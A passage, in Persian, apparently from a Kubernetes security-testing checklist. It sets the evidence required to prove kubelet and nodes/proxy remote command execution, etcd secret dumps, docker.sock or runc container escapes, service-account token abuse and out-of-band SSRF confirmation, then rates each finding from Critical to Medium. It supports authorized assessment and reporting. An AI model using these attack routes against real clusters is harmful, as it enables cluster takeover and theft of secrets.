  2. ۲‏Kubelet: خروجی literal مربوط به `id`/`hostname` از `/run` مربوط به ۱۰۲۵۰ برگشت، یا استریم `/exec` تکمیل‌شده — نه ۳۰۲ لخت.
  3. ۳‏RCE مربوط به nodes/proxy: خروجی دستور از طریق `/api/v1/nodes/<node>/proxy/run/...` با توکن تو برگشت.
  4. ۴‏etcd: بایت‌های Secret دیکدشده نشان داده شد (اثبات unencrypted + خواندنی)، نه فقط لیست کلیدها.
  5. ۵‏docker.sock / escape: محتوای فایل میزبانِ NODE بازیابی شد (متمایز از کانتینر)، یا خروجی PoC مربوط به runc-escape.
  6. ۶‏توکن SA: `aud`/`exp` دیکد و معتبر نشان داده شد؛ impact به RBAC واقعی‌اش محدود شد.
  7. ۷‏OOB: هر hop خروجی/SSRF از طریق ساب‌دامین Collaborator/interactsh تأیید شد.
  8. ۸‏API ناشناس←خواندن secret، RCE مربوط به kubelet/nodes-proxy، dump مربوط به etcd، فرار docker.sock/runc، CVE-2018-1002105: Critical
  9. ۹‏دسترسی داده‌ی بدون-توکن داشبورد، Tiller افشاشده: High
  10. ۱۰‏kubelet ۱۰۲۵۵ فقط-خواندنی، افشای اطلاعات `/version`/`/pods` ناشناس: Medium